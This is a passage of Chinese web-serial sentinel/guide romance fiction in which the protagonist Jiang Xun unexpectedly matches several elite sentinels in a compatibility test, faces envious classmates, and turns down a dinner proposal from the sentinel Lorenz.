每一个向导在进入时，神色各异，或是苍白惶恐，或是潮红兴奋。而当他们踏出测试间时，场边等待区里，几乎立刻便会响起或多或少的推送提示音。每一次提示音的响起，都会让向导本人与场中其他正在等待测试的学员们，爆发出阵阵骚动与议论。 “恭喜李琳小姐！刚才第三军团罗纳德上校的终端响了，罗纳德上校看上去也很满意呢！” “哇，哈维，你要一步登天了！我刚才听到等待席上好多人的终端都响了呢！” “哎，王向导可惜了，明明辛辛苦苦才升到了B级，结果匹配到的都是些中级哨兵，匹配度也都平平……” “天哪！真的假的？哈娜你匹配上了范伦丁家的嫡系小姐吗？75%！这匹配率很高啦！” …… 随着匹配结果陆续揭晓，大厅里上演着一幕幕活生生的人间戏剧。 有人匹配上的哨兵实力地位显赫，瞬间便被恭喜的人群包围；有人匹配上的哨兵人数很多，已经开始满面红光地调阅着所有匹配对象的具体信息；有人匹配的对象层次平平，迅速被众人遗忘在角落；也有人，已经被匹配到的对象叫去了等待席边，开始互相交换联系方式。 一时之间，众生百相，皆现于人前。 江寻半阖着眼睛，尽量将周遭的种种嘈杂屏蔽，一边养神一边降低存在感，静候着自己的轮次。 可周围人因情绪剧烈波动而散逸的混乱精神力场，却持续冲击在他虚弱的神经上，让他不得安宁。 那些或是欣喜若狂，或是失魂落魄的面庞，像是一个个扭曲的面具，围绕着他尖叫、狂欢、哭泣。 匹配度，这三个看似简单的字眼，就像是潘多拉魔盒最深层的秘密，在这一刻，被覆上了一层充满神秘的面纱。 “下一个，桑扶。” 清脆的电子音响起，略有些熟悉的名字，让江寻抬起了一半眼帘。 站在众人最前方的桑扶，双手紧紧一握，深呼出一口气，面上绽放出更加骄傲自信的灿烂笑容，挺直脊背，在无数目光的注视下，脚步略显急促地走进了测试间。 当测试间的光芒敛去，桑扶迈着迫不及待的步伐再次出现在众人面前时，大厅里响起的此起彼伏的终端提示音，瞬间点燃了他眼中的光彩！ “哇！这么多推送！这得有二十多个人了吧？！” “天哪！光是现场就有这么多人，那加上其他还没有来的哨兵，他这一次匹配上了多少人啊！” “不过可惜，好像大多都是中阶哨兵啊，高级哨兵就……嗯，不过比起其他人来说已经很不错了！” “都有这么多人选了，他还有什么不满足的，到时候不是随便挑？快看！连雷欧家的少爷终端都响了！” 听到这一句，桑扶的眼神骤然一亮，目光迅速在人群中搜寻，当看到不远处那个被人群簇拥着的金发青年，也低下了头，似乎在查看自己的终端时，嘴角的笑容更加真切了起来。 弗兰克看着推送上的信息：桑扶，匹配度64%。嘴角噙起一抹玩味的笑意，再抬头时，目光恰好与桑扶的视线在空中交汇。 桑扶目光灼灼，心中狂跳，再也无法掩饰地迎向弗兰克的视线，直到看到弗兰克面含笑意对着他微微颔首时，巨大的喜悦瞬间淹没了他！ “快看！弗兰克少爷对桑扶阁下笑了，这是很满意的意思吧？” “恭喜桑扶向导！你这是一步登天啊！直接一脚踏进顶级圈层了！” “桑扶阁下，恭喜恭喜！前途无量啊……” 一群嗅觉灵敏的学员们立刻围了上去，七嘴八舌的恭维声不绝于耳。 桑扶满面红光，容光焕发，一边语带骄傲的与众人寒暄回应，一边眼波流转，向着弗兰克的方向不断递去一个个撩人心弦的妩媚秋波。 两人视线纠缠，空气里弥漫起一阵心照不宣的暧昧气息。 这一波算是一个小高潮，将大厅的火热气氛再次推上了一个台阶。 在这片喧嚣鼎沸之中，江寻终于等到了自己的名字。 “下一个，夏因。”—— 作者有话说：一更 第119章 冰冷的电子音清晰响彻大厅。 这个同样在这段时日里经常出现在众人耳边的熟悉名字， 让一部分人的目光，从桑扶那边收了回来。 带着好奇、探究、审视、甚至敌意的视线，齐刷刷投向独自靠在角落阴影里的那个白色身影。 一直抱肘闭目靠在等待席座椅上的洛伦茨， 骤然睁开了眼睛， 身体前倾坐直了身体， 锐利的目光如锁定猎物的掠食者，直直投在江寻身上。 正与桑扶眉目传情的弗兰克也挑了挑眉，饶有兴致地望了过来。旁观过那场入学考试的高级哨兵们， 纷纷将注意力转移了过来， 眼神热切。连几位塔中高层与军部要员的目光，也若有若无地扫向了江寻的方向。 场中其他学员，也将蕴含着各种意味的目光转了过来。骤然从二人对视中醒过神来的桑扶，面上的笑容淡了几分，眼神中闪过一丝忌惮。 骤然成为全场焦点的江寻，慢慢站直了身子， 苍白的面色， 细密的汗珠， 配上虚浮的步伐，让他整个人透出一股脆弱的感觉。 他未曾在意众人投注过来的复杂视线， 挺直了背脊，脚步轻缓地步入了那间散发着柔和光晕的测试间。嘈杂的议论声， 在他的身影彻底消失在缓缓闭合的能量屏障之后，骤然升高。 “他这是怎么了？精神力消耗过度？他这几天干什么去了？” “这种状态测试出来的结果能准吗？” “不知道啊， 他不会是专门卡着匹配度测试的时间吧？害怕自己的匹配结果不好提前找个借口？” “不会吧？听说他的实力不是很强吗？不仅早早就晋升了B级，连艾略特教授都对他另眼相看。” “谁知道呢，听说哨兵学院那边也有不少高阶哨兵一直在关注他呢！” “你说的是洛伦茨阁下吧？我也听说了！” …… 桑扶咬着牙听着周围的议论声，眼看刚刚还一直注视着自己的弗兰克也直接扭过了头， 眼睛一眨不眨地盯着那个紧闭的屏障，心中妒火中烧。那个家伙长得不如自己好看，性格也闷得像块儿木头，平时永远是独来独往的，不过就是向导等级比自己升得快了一点儿，到底哪里值得这么多人关注？ 自己明明也是B级潜力，只要有资源，再给自己更多一些时间，自己肯定也会很快升上去的！ 哼！最好测出来的结果惨不忍睹，让你们看看对他的关注，就是今天最大的笑话！ 不论外间的人如何议论，测试间依旧安静紧闭着，时间在焦灼中一分一秒流逝。 终于，半透明屏障内的柔和光芒渐渐敛去，能量屏障无声无息地打开，江寻的身影重新出现在了众人面前。 他看上去比刚才更加虚弱了，面色白得近乎透明，额头上的冷汗顺着流畅的面部线条滑下，嘴唇紧抿成一条僵直的线。他扶着门框微微喘息了一下，才勉强站稳，睁开那双还带着一丝茫然与疲惫的眼睛看向外间。 众人屏气凝神地等待着结果。 然而……一片寂静！ 预想中此起彼伏的推送提示音，没有响起。 此时反常的寂静，与刚才桑扶测试出来时的那番热闹情景形成了鲜明的对比。 所有人微张着嘴巴，面面相觑，一时反应不过来。 甚至有人茫然地回过头去，看向坐在等待区里的众多哨兵们。 怎么回事？ 设备故障了？ 精神力状态不好，果真影响到他测试了？ 还是……匹配度太低，连一个达到60%的哨兵都没有？！ 这个念头迅速在人群中蔓延开来。 短暂的死寂之后，是骤然爆发的喧嚣议论声。 “一个都没有？！” “不会吧？怎么可能？这么年轻的B级向导，不是说他前途无量吗？” “不是吧？他连头发都白了的王向导都比不上？王向导还匹配上了好几个年轻的中级哨兵呢！” “连一个达到最低匹配度的没有？他的等级真的没问题？不会是等级测试出错了吧？” “你是说他之前的测试造假了？不会吧？入学考试时他不是早早就答完交卷离开了吗？” “谁知道呢！艾略特教授这回可是看走眼咯！” 桑扶脸上的错愕被巨大的惊喜与难以抑制的嘲笑所取代！他再也忍不住，嘴角高高翘了起来，几乎要笑出声。不少和他一样，一直将江寻视为最大威胁的新晋向导们，也立刻反应了过来，肆无忌惮的嗤笑声一点点响起。 “啧！还以为多厉害呢！枉我还……” “炒得那么大的名声，这一下，可彻底露馅了！” “看来某些人的好运气，也就到此为止了啊！” 江寻站在测试间门口，听着耳边越来越刺耳的议论声，心中却丝毫不像其他人所以为的那样失落，反而慢慢放松了下来。 他只是想单纯的过来学习，顺便隐藏自己的身份，在寻找小树的这段时间里找个安全的落脚点而已。他可丝毫不想引人注目，陷入那些高层人士间的纠葛，如果真的无人能和他匹配上，岂不是正中他下怀！ 就在这喧哗与嘲弄的声浪达到最高潮，桑扶的嘴角几乎要咧到耳根，江寻心中即将彻底放松下来的瞬间！ “滴！” 一声极其细微，却又异常清晰的提示音，骤然穿透鼎沸的人声！ 等待席前排一部分离得最近的人，瞬间反应敏捷地扭过头，看向声音的源头——正是洛伦茨戴在手腕上的个人终端！ 几个始终关注着哨兵席的学员们，也发现了那边的异动，或是嘲弄或是不屑的表情瞬间凝固在了脸上，死死盯着洛伦茨的动作。 只见那银发哨兵冰蓝色的眼眸垂了下去，看着手腕终端上跳出的那条简洁的推送信息，嘴角缓缓勾起一个意味深长的笑容。再抬眼时，精光四溢的双目骤然变得极具侵略性，刺向江寻身上的目光饱含着志在必得的意味。 看清他动作的几个向导，还未来得及反应，紧接着…… “滴！” “滴滴！” “滴” 又是几声零零散散的细微提示音响起，这一次的动静，格外明显，让喧闹的大厅瞬间死寂了下来。 众人循着声音的来源，惊愕万分地望去。 只见最先低下头的，赫然是雷欧家的大少爷弗兰克！灿烂的金发下，他原本漫不经心的神色，在看清终端上的信息后，骤然带上了明显的错愕，随即，迅速化为一种混合着惊奇与浓厚兴趣的奇异表情，目光灼灼地投向场中那个依旧苍白的身影。 还有坐在军部要员那边，最中间的那位胸前佩戴着第三军团标志，与数枚战功勋章的年轻上校！他从测试开始时就始终安静地抱胸安坐着，此刻却面色严肃，眉头紧锁，低头查看着自己的终端，手指快速地滑动，似乎在确认着什么。 再旁边，是一位身材火爆，一身战斗专用紧身衣的红发女子，她从头到尾都是一人独坐，可身上时刻笼罩着的强大精神力场，却丝毫不比场上任何一人逊色。她直接将收到的信息投影在了自己面前，目光一掠而过之后，便爆发出一声大笑。 刚才还满是喧闹嘲笑的大厅，此刻陷入了一种更加诡异的寂静之中。 似乎是嫌众人的反应还不够震惊，又一声终端声响在场中响起。 “嗡……” 一位正看向场中的哨兵一声惊疑，低头看向自己的终端。 这次，却不是一条推送信息，而是一个好友通讯请求。 他刚刚站起身来，想要退出大厅接听，此起彼伏的通讯铃声又在不少人的终端上响起。 就在众人都对这突如其来的一阵通讯铃声，惊讶莫名的时候。 坐在世家子弟区域的一位凡纳家族旁支的年轻继承人，也低下了头。他先是面露疑惑，随即眼中爆发出难以置信的震惊光芒： “匹配度89%！什么？！伊莱阁下！”他猛地抬头看向江寻！ 桑扶脸上那得意忘形的笑容彻底僵硬，面上唰一下血色尽褪。 众多刚才还在嘲弄着江寻的新晋学员们，表情瞬间凝固，惊疑不定地看向四周纷纷后退，接通通讯的人们。 场中所有人，听着仍在不断响起的通讯提示，终于反应了过来！ “轰——！” 短暂的死寂后，是比之前更加猛烈混乱的声浪爆发！ 这些响起提示音的……无一例外，全是现场身份最显赫、地位最崇高、实力最顶尖的那一小撮人！是整个等待席上真正的核心与巅峰！ 而那些迟一步打来通讯的，全部都是未能亲临现场的，整个联盟中最顶尖的那些哨兵！—— 作者有话说：二更来啦[加油] 第120章 “天哪！是他们！” “哨兵学院那边蝉联三年的首席洛伦茨阁下！雷欧家的弗兰克少爷！还有……第三军团的斯通上校！那个红发女人， 是外勤小队有名的‘爆烈玫瑰’季千钧？……天！全是顶级人物！” “这……这怎么回事？刚才不是还说没匹配上吗？” “这是没匹配上？！是匹配上的人层次太高了！其他的人……根本不够格吧！” “你们听到刚才那个人说的名字了吗？不会是我听错了吧？伊莱阁下？” “伊莱？你确定是伊莱？！不对，说话的那个人是凡纳家旁支的，那这个伊莱不就是……” “什么？不可能！怎么可能是伊莱阁下， 他可是……” “凡纳家族现任家主长子， 家族第一继承人， 联盟在册仅有的七位S级哨兵之一，伊莱阁下？！” “怎么可能！这个夏因……他，他最高潜力不是就到B吗？他到底……” 恍然大悟的惊叹声， 难以置信的抽气声， 充满嫉妒的议论声，瞬间充斥了整个大厅！ 众人凝聚在江寻身上的目光再度剧变！这一次，连稳坐等待席上的众多哨兵们也坐不住了，震惊、嫉妒、热切、以及赤裸裸的贪婪，纷纷投射在他身上。 江寻站在风暴中心，感受着四面涌来的、众多如有实质般的压迫目光， 心中猛地一沉！ 而那些接收到了推送信息的顶层人物， 并没有像之前对待桑扶亦或其他向导的普通哨兵那样， 立刻开口与江寻攀谈示好，而是静静坐在原地， 目光沉凝地互相打量。视线交织之间，无声交换着暗流涌动的眼神。 无形的暗流， 在这看似平凡的一天开始奔涌，一场围绕着江寻的无声争夺战， 悄然拉开了序幕。 之后的测试里，再未出现什么异常。匹配度测试，就在这暗流涌动的气氛中，宣告结束。 灵枢管理中心的喧嚣渐渐平息下去， 但真正的风暴，才刚刚开始。 * 清晨的圣所核心区，薄雾还没有完全散去，为高耸的塔尖覆上一层瑰色的薄纱。 星环大厅外，已经有许多早起的学员们，说说笑笑着踏上台阶，鱼贯而入，飘散出来的议论声中，隐约夹杂着“匹配度”、“夏因”等等字眼。 江寻依旧在往常的时间踏着晨曦步入星环大厅，挺括的纯白制服熨帖平整，领口的铜钉盾徽冷硬闪耀。 一夜过去，他的精神力恢复了一些，面上终于有了血色。昨日的喧嚣似乎并未在他身上留下什么痕迹，他步伐沉稳地迈步走进大厅，径直走向中后排侧边的座位。 然而，整个大厅里的气氛，却在他踏入的瞬间，便发生了微妙的变化。 在他的身影出现在众人面前的刹那，周遭嘈杂的议论声、寒暄声、谈笑声，瞬间压低了下去。 眉目间传递着无声的信息，簌簌细语中夹杂着压抑的惊叫，无数目光，或光明正大，或遮遮掩掩，从四面八方投向江寻，内里蕴含着的情绪复杂难辨，不一而足。 桑扶依然坐在最前排最显眼的位置，在江寻进门之前，正与旁边一位趁着还没上课溜进来的哨兵学员言笑晏晏。 可江寻一进门，那个刚才还一副热切模样凝望着他的哨兵，瞬间便扭过了头去，目光灼灼地紧盯着江寻。 桑扶面上划过一抹愤恨，惯常挂着的甜笑瞬间僵硬了下来，握着笔的手指，猛地攥紧，指节捏得发白。 江寻的脚步一顿，心下叹了口气，接着走向自己属意的座位，放下手中薄薄的感应屏与教材，低眉垂目地打开课本开始预习。他的脊背挺直，嘴唇微抿，目光沉静而专注，仿佛丝毫没有将周围的暗流涌动放在心上。 然而，经过了昨日的风波之后，即使他仍想恢复往日的宁静，周围的人群也不会如他所愿了。 首先打破安静的是一位坐在江寻斜前方，看起来有些眼熟的棕发向导。 “夏因同学！”他满脸堆笑地转过身来，身影里能听出明显的讨好意味，“昨天你真的是……太厉害了！真没想到，你不仅自身等级提升得这么快，连匹配度都……” 他搓着手，似乎想找出什么恰当的恭维词，可两人实在不熟，许多惯常寒暄的话都显得生硬，“我们还要做至少三年同窗呢，以后还请多多指教啊！” 江寻的目光从手中的教材上抬起，平静地看向面前的人，昨日的画面在脑中回放，这一次，清晰地从记忆中找到了对方的模样。 如果没记错的话，他正是昨天簇拥在桑扶身边，附和着嗤笑嘲弄的一员。 江寻面上露出一个惯常的温和笑容，并未点破，只是平静地看着对方，微微颔首：“同学客气了，我们互相学习。” 说完，便不再理会，目光重新落回到手中的教材里，拿起感应笔，在晶板上轻轻滑动起来，显然没有再交谈下去的意愿。 旁边传来一声细微的嗤笑，棕发向导的面色瞬间涨红，似是想要发火，却又不敢针对江寻，只得恨恨地扭过头，狠狠瞪向笑声传来的方向一眼。 一见第一个人吃瘪，旁边几个蠢蠢欲动的学员见状，也纷纷缩回了试探的脚步。 教室中，嗡嗡的议论声再起，此刻的声音里，却混杂进了更多讥讽嘲笑的意味。整个教室中，唯有江寻所在的位置，被一片诡异的宁静所笼罩。 就在这样的气氛里，大厅正门走进一人，巨大的金属门，在她走进之后，缓缓闭合了起来。 喧嚷的声音，随着来人的步步走近而慢慢平息，待她走到中央讲台之后，彻底安静了下来。 莉亚教授的目光平静而严肃地从大厅中所有学员的面上扫过，在侧面那个最安静的白色身影上停留了一瞬，目光中带上了一丝不易察觉的审视。 她明显也听说了昨日在灵枢中心的盛况，然而，映入莉亚教授眼帘的，却是江寻微微低着头，全神贯注于手中教材的侧影。 他的眉尖稍稍蹙起，似是遇到了什么难题，笔尖在晶板上迅速滑动着，时不时翻动几下教材。周围的视线与暗流汹涌，似乎没有在他的心上留下任何痕迹，周身散发着一种沉静而专注的气场。 莉亚教师锐利的目光在他身上停留了数秒，紧抿的唇角这才几不可查地松弛了一分。 投影屏开启，全息影像中气质端庄严肃的女导师开口，清晰有力的声音在教室里响起。 “我是高阶精神图景能量学的主讲导师莉亚？加德纳，今后，将由我来带领你们深入学习，精神图景与精神力的深层关系及实际运用。现在，翻开教材第3页……” 莉亚教授一句废话也没有讲，直截了当的开始了讲课。 江寻在这样的氛围中，终于彻底平静了下来。 莉亚教授的讲课风格十分独特，她从不将一个问题重复讲述，越是讲到重点难点的内容，语言反而越是简洁明了。 每一句教导都鞭辟入里，江寻找回了大上学时的感觉，听得及其认真。手下沙沙记个不停，不一会儿便满满登登写满了一整面笔记。 莉亚看到这里，目光中的满意之色愈发明显。 “……所以，此时会发生多节点共振，在多种精神力场干扰下，能量漩涡会随波长偏移。” 讲到这里，看着整个教室陷入一片安静，莉亚教授的目光扫过众人，最终落在了江寻身上。 “夏因同学，”莉亚教室点名道，“来谈谈你的看法。” 听到这个名字，教室里瞬间骚动了一下，又在莉亚教授扫过来的目光下刹那平息。 江寻站起身来，他的思绪丝毫没有因为其他人的反应而转移，沉吟片刻，便开口，用平稳清晰的语调，结合刚才莉亚教授讲到的理论模型，条理分明地阐述了自己的观点。 他的语言是与莉亚教授如出一辙的平稳精准，在导师严厉的目光下，也丝毫没有半分怯场，话语逻辑严密，甚至在讲述中还补充了一个莉亚教授未曾提及的，他在诊所的治疗实践中归纳出来的细节变量。 “……因此，我认为在临界点的计算中，需要额外引入当事环境里，精神场强被扰动后产生的不同修正系数。”江寻结束了他的发言，向着莉亚微微欠身。 莉亚教授的眼中闪过一丝真正的赞赏，真正放下来心来。 每一期高级研修班的匹配度测试后，总会有些被突如其来的光环与众人的追捧诱惑，动摇了本心的年轻向导。他们里面的很多人本可以有更好的未来，却在日复一日的浮躁中渐渐磨灭了光彩，荒废了学业。 她很高兴，面前的孩子不是其中的一员。 她对着江寻点了点头，罕见地露出一丝极淡的笑意：“很好。观察细致，分析到位。这个修正系数，正是我们下一节实战分析课要重点讨论的内容，请坐。” 话毕，课堂继续，江寻也重新坐了下来，再次沉浸在了知识的海洋之中，将周遭那些纷纷扰扰的目光，全部隔绝在外—— 作者有话说：一更来啦《 》 120-130 第121章 下课的钟声悠扬回荡在星环大厅上空。 学员们收拾好东西， 开始三三两两地结伴走出教室，前往不同的餐厅解决午餐。 江寻随着人流走出教室，也打算前往公共餐厅吃午饭。虽然刚刚开学， 但之前在核心区的图书馆中复习备考， 圣所的公共餐厅他已经光顾过许多次了。 和现代的许多大学一样， 这里的公共餐厅虽然味道普通，但价格便宜，干净卫生， 用餐方便快捷， 也不需要过度社交，他十分喜欢。 然而，他刚刚踏出教室门口一步，脚步便顿住了。 走廊的光线被一道颀长的身影分割为明暗两半，一个身高腿长的男人正姿态随意地斜倚在教室门外的廊柱上等待着——是洛伦茨。 他没有穿制式训练服，而是一身剪裁极佳的浅蓝色常服， 浑身上下所有的饰品只有一枚别在领口的剑徽， 可他本身优越的样貌已经是最好的风景。 他的额前随意垂落了几缕银发， 扫在他冰蓝色的眸子前，削弱了几分冷冰， 平添几分慵懒。 一眼看到刚刚走出来的江寻，他的唇边便噙起了一抹弧度， 锐利的目光透过发梢，精准落在了江寻身上。 他本身的存在就极其显眼， 过往的学员们，本就有不少聚拢在他附近，交头接耳地窥视着，这会儿看到他的动作， 更是马上激起了一阵隐约的骚动。众人的目光或好奇或艳羡，在他和江寻之间来回逡巡。 偏他似乎还嫌不够醒目，众目睽睽之下便开了口： “夏因向导，”他的声音不高，却清晰地穿透了周围一片嗡嗡的议论声，“午餐的时间到了，不知道我是否有这个荣幸，能请你共进午餐？静海回廊新到了一批冰海蓝鳍鱼，我想你可能会喜欢。” 静海回廊，核心区里知名的高级餐厅之一，传闻主人是一位十分喜爱海洋文化的夫人，那里的餐点不仅味道鲜美，环境也十分浪漫唯美，是非常受到年轻的哨兵向导们欢迎的约会场所。 这一句话一出口，立时在周遭的人群中引起了热议。 江寻的眉心几不可察地蹙了一下，心下有些无奈。经过昨天的风波之后，他便知道自己以后的麻烦不会少。但没想到，他连一天的清闲都没有躲过去，这才刚到中午，就已经有人忍不住了。 “谢谢洛伦茨阁下的邀请，”江寻微微欠身示意，他的话语疏离，态度却是挑不出错的礼貌认真，“不过，我下午还有课，去公共餐厅就餐就可以了，方便快捷。” 洛伦茨似乎是对江寻的态度早有预料，他微微站直了身子，向着江寻的方向迈近一步，瞬间突破了社交距离。他的个头和江寻仿佛，银发一晃，冰蓝双眸便直直迎上了江寻的双眼。 “哦？公共餐厅？”他稍稍偏过头凑近，声音压低了几分，带着一种意有所指的意味，“公共餐厅，我也可以哦。不过夏因向导，你确定你想去公共餐厅吗？” 他的目光微微向旁边一瞟，示意旁边那些因为他的靠近，而爆发出声声喧闹的人群。 江寻安静下来，看着越聚越多的人群，心下权衡片刻，暗叹一口气。 “好吧，”他抬起眼，迎上洛伦茨那双始终含着笑意的眼眸，“我也有些话想和洛伦茨阁下您聊聊，那就叨扰了。” 洛伦茨眉头一挑，江寻平静的态度似乎让他有些意外。但他并未将其放在心上，优雅侧身，银发微荡，伸手一引，绅士的姿态无可挑剔：“我的荣幸，请。” 在无数道震惊、艳羡、难以置信的目光的交织注视下，江寻迈开脚步，走过洛伦茨身侧，而银发的哨兵也在江寻行至他身旁时，格外自然地转身跟上。 银发的哨兵首席与一身纯白的新晋传说向导，在众人的目光中联袂而去。 身后，走廊里瞬间炸开，气氛骤然沸腾起来。 “哇！他们一起走了！” “我的天，传闻是真的！洛伦茨阁下居然亲自来接他了？！” “你们听到了吗？是静海回廊？洛伦茨阁下好浪漫！” “夏因向导这就跟着走了吗？他不是一直谁都不理的吗？” “废话！你也不看看邀请的人是谁！那可是首席洛伦茨阁下！要是你你会拒绝吗？” “也是……哎，洛伦茨阁下实力又强，长得又帅，还是哨兵学院那边的首席，听说已经在和军团接触了，一毕业就会直接任职军官了吧？我怎么就没匹配到这么好的哨兵呢！” “嘘，别说了，你看桑扶的脸色……” 压抑的惊呼声，倒抽冷气的声音，激动的议论声瞬间爆发，气氛热烈得比刚才在课堂上提问时强上百倍！ 桑扶刚刚走出教室，正好撞见这一幕，脸上的表情一瞬难看到极点，嘴唇死死抿成一条僵硬的直线，指甲深深掐进了掌心里。 连凑上来的哨兵也懒得理会，一扭身便独自消失在众人的视线里。 * 午间的人流不太多，洛伦茨的悬浮车滑行着，很快便停泊在了一座仿佛由深蓝色水晶雕琢而成的璀璨建筑旁。 这座建筑与其说是餐厅，更像是一个艺术品，通体由深邃幽蓝的半透明晶体构筑而成，在阳光的照耀下璀璨生辉。 两人跟随着引路的侍者，在深蓝的甬道中一路穿行，又搭乘了一架向下的电梯，这才被引至一处极僻静的角落卡座之中落座。 这座餐厅的老板不知花费了多大的手笔，在外间时，江寻明明没有看到水泽，可此刻，透过环绕着餐厅一圈的巨型观景窗，外部却是一片蔚蓝色的深海奇景。 不知从何而来的幽蓝光线在水体中折射出奇妙的光晕，各色珊瑚礁摇摆着身体丛丛簇立，形态奇异的深海鱼群，摇曳着流光溢彩的尾鳍，成群结队地游曳，整幅景观静谧而梦幻。 幽蓝的水光透过身侧整面的观景窗映照在卡座上，桌上精致的银质烛台被蒙上了一层流动的蓝光，配上对坐在桌前容色皆十分俊美的两人，气氛浪漫得近乎暧昧。 这里的招牌是冷餐，餐点很快呈了上来。 不愧它的盛名，餐盘中的冰海蓝鳍鱼刺身薄如蝉翼，以极为考究的姿态铺陈在细碎的冰晶上，新鲜细嫩的鱼肉在周围如梦似幻的光线中闪着细碎的光泽。 然而此时，在座的两人，却没有把注意力放在这难得一见的顶级食材上。 见江寻想要开口，洛伦茨一手轻按示意，先是姿态优雅地为两人各自斟上了一杯冒着金色气泡的餐前酒。 这才交叉了十指，用深邃的目光凝望着江寻，开口道： “夏因，”他自然地省略掉了后面“向导”的称谓，流露出一种自然而然的亲昵，“从你第一天踏入圣所起，我就注意到你了。” 他的目光流连在江寻的脸庞上，声音低沉，目光中流露出一种奇特的热切，“当然，我们之间测试出来的高达85%的匹配度是一方面原因，但远不止于此……” 他的身子微微前倾，目光灼灼：“那是一种感觉，一种……同类之间的共鸣。” 他顿了顿，目光看向窗外游曳而过的一条斑斓游鱼，一边思索着，一边缓缓说道： “你应该听过一些关于我的传言吧，蝉联三年的哨兵首席之类的？”他的目光回转，看向江寻，“但你知道吗，十几年以前，我也与你刚刚踏入中心城一样，一文不名。” “不，甚至还不如你。”他回忆着，面上带着微笑，摇了摇头，似乎在笑当年那个愣头愣脑的自己。 “我们哨兵和你们向导不一样，哨兵一出生就能测出潜能，被接入塔中培养，可这样的待遇，仅限于出生在秩序星球上的哨兵。” “我直到十岁的时候，才被一位执行任务的中阶哨兵，从星盗老巢的奴隶营里救了出来，又经过一年从零开始的严酷训练，才得到推荐，被当地的势力首领送入了塔中。” “别人生来就能走的路，我走了整整十一年。” “塔的哨兵学院里，竞争更加激烈，这里不光要看个人实力，更要看人脉关系、背景势力、手握的资源。而我，一无所有。别人可以在耗尽精力的训练后，得到家族的支援，拥有专业的向导为他们疏导精神快速恢复，而我，自始至终都只能自己硬扛。不仅如此，还要忍受着庸人的排挤，时刻提防着嫉妒的暗箭。” “我就这么一点一点挣扎着，一个台阶一个台阶地向上爬，终于走到了今天的位置。” 洛伦茨专注地凝视着江寻的双眼，眼中丝毫不见袒露自身悲惨过往的羞赧，满满的，净是对自己的骄傲。 “夏因，从看到你的第一眼，我就知道，我们是一样的！我们都是孤独的攀登者，从泥沼里奋力地爬出来，凭借自己的力量一步步走到了这里！”他的目光扫过江寻时刻佩戴在领口的盾徽，“我们有着势均力敌的实力，我也不介意你最高只能到B级的潜力。” “我们甚至连外貌，”他的视线落在江寻的脸上，嘴角勾起，带着毫不掩饰的欣赏，“都如此契合。” 他将面前的酒杯举向江寻，眼神真诚，还带着股激动和热切：“所以，当我看到匹配结果的那一刻，我由衷地感到高兴。这一切并非偶然，夏因。是命运让我们在这里相遇！我们如此登对，简直是天造地设的搭档与伴侣。” “所以，请给我一个机会吧！我相信，我们一定会成为一对最完美的伴侣！”—— 作者有话说：二更！修完！[加油] 第122章 在洛伦茨说话期间， 江寻一直认真地与他对视着，可即使那番话语再如何诚意十足，也没有在他的眼底激起半点波澜。 “洛伦茨阁下， ”江寻的声音温和如初， 也同样清晰而疏离， “感谢您的坦诚和欣赏，对于您如今取得的成就，我也非常佩服。但很抱歉， 我来到圣所的目的非常纯粹， 只为学习、提升自己。我并没有在这里寻找搭档或伴侣的打算。” 他拿起手边的银叉，轻轻拨弄碟中的鱼片，“今天的餐点实在非常珍贵，但可惜，我并不是能够欣赏之人，恐怕要辜负您的厚爱了。” 即使听到了江寻的拒绝， 洛伦茨脸上的笑容也丝毫未减， 江寻一直以来温和而疏离的性格他看在眼里， 从未奢望简单的一番话便能打动对方。 他的身体舒展一下，从容向后靠进椅背之中， 十指交叉扣于膝盖上，上位者的姿态尽显。 “辜负？”洛伦茨笑着摇了摇头， “夏因，你太小看你自己， 也太小看我了。感情可以培养，默契可以培养磨合。你现在没有这个打算，不代表未来也一直不会有。” 他端起手边的酒杯，轻轻摇晃一下， 优雅地抿了一口，“美酒都是需要时间酝酿的，初尝的时候觉得不适应，这很正常。但是先别急着把所有可能性都拒之门外，我们可以先从朋友做起，从互相了解开始。” “我相信，在你稍微了解我一些之后，便会感受到，我们之间天然的共鸣与吸引。给我们一个彼此熟悉的机会不好吗？我相信，以你的性格，这并不会妨碍你专注于学业，不是吗？” 他的声音缓慢而真挚，带着循循善诱的口吻，像是在开导一个固执的孩子。 江寻感到了一种微妙的冒犯，他放下手中的银叉，餐具相撞，发出一声清脆的磕碰声。 他坐直身体，直视着洛伦茨那双深邃蓝眼，语气平静却不容置疑：“阁下，我理解您的意思，但我的想法不会改变。至少在圣所学习期间，我不会与任何人建立超过正常社交限度的关系。您在我身上的投入，只会是无用功。” “学习期间？”洛伦茨敏锐地捕捉到了这个限定词，他品味着这个字眼，冰蓝眼眸微微眯起，身体前倾，带出一股隐约的攻击性，“难道你在外域中……已经有绑定的哨兵了吗？” 江寻心中微微一颤，仿佛一颗石子被投入了心湖，激起一阵无声的涟漪。 握着银叉的手指收紧了一瞬，叉齿在瓷盘上轻微刮擦了一下，发出一声轻微的声响。 洛伦茨瞳孔一动，不动声色地再次迫近，眼睛紧紧盯着江寻的反应。 江寻垂下眼睫，眉睫在眼下投下一小片阴影，将瞳孔中瞬间翻涌起来的情绪悄然掩埋起来。再抬眼时，眼底已经恢复了一片沉静。 “暂时没有。” “暂时？”洛伦茨咀嚼着这两个字，目光如炬，一寸寸地审视着江寻脸上每一丝细微的表情，忽而一笑，重新靠回了椅背，恢复了之前的从容，仿佛刚才的一番逼问从未发生过。 “即使有，也没有关系。”他拿起餐巾，姿态优雅地细细擦拭着一根根手指，带着一种胜券在握的笃定，“在联盟里，一个向导在确定最终的伴侣之前，同时接触考察许多名优秀的哨兵，这是再正常不过的事。” “这恰恰证明了你的优秀，不是吗？” 他直视着江寻，双眸坦荡而强势：“夏因，最终的选择权永远在你手上，我不需要你承诺什么，也不需要你回应，我只请求一个机会，一个让我站在你的面前，与其他竞争者公平竞争的机会。” “更何况，”洛伦茨意有所指的一笑，“你的哨向配合课程总要选择搭档哨兵一起的，每月的强制任务中，也有许多是需要与哨兵协作的。选择背后没有其他庞杂势力纠缠的我，对你来说才是最有利的，不是吗？” 江寻沉默了。 洛伦茨前面说的话他都可以置之不理，可最后这几句，的的确确切中了他马上就要面临的现实问题。 高级研修班中除了理论的学习，有许多课程都是需要与哨兵班一起上的，每个月的强制任务也是如此，如果被安排到了需要出外勤的任务，到时候势必要从智脑推荐的人选中选择一名搭档。 洛伦茨虽然看起来强势，在他所有匹配到的哨兵中，能力也属顶尖。可他的影响力也只在圣所学院中，作为外域来客，他的背后没有盘根错节的家族势力，相比起其他人来，已经可以说是最理想的合作对象了。 且他的态度也十足有诚意，姿态放得足够低，最起码自己短期内不必担心他对自己动用武力，或以势压人逼他就范。 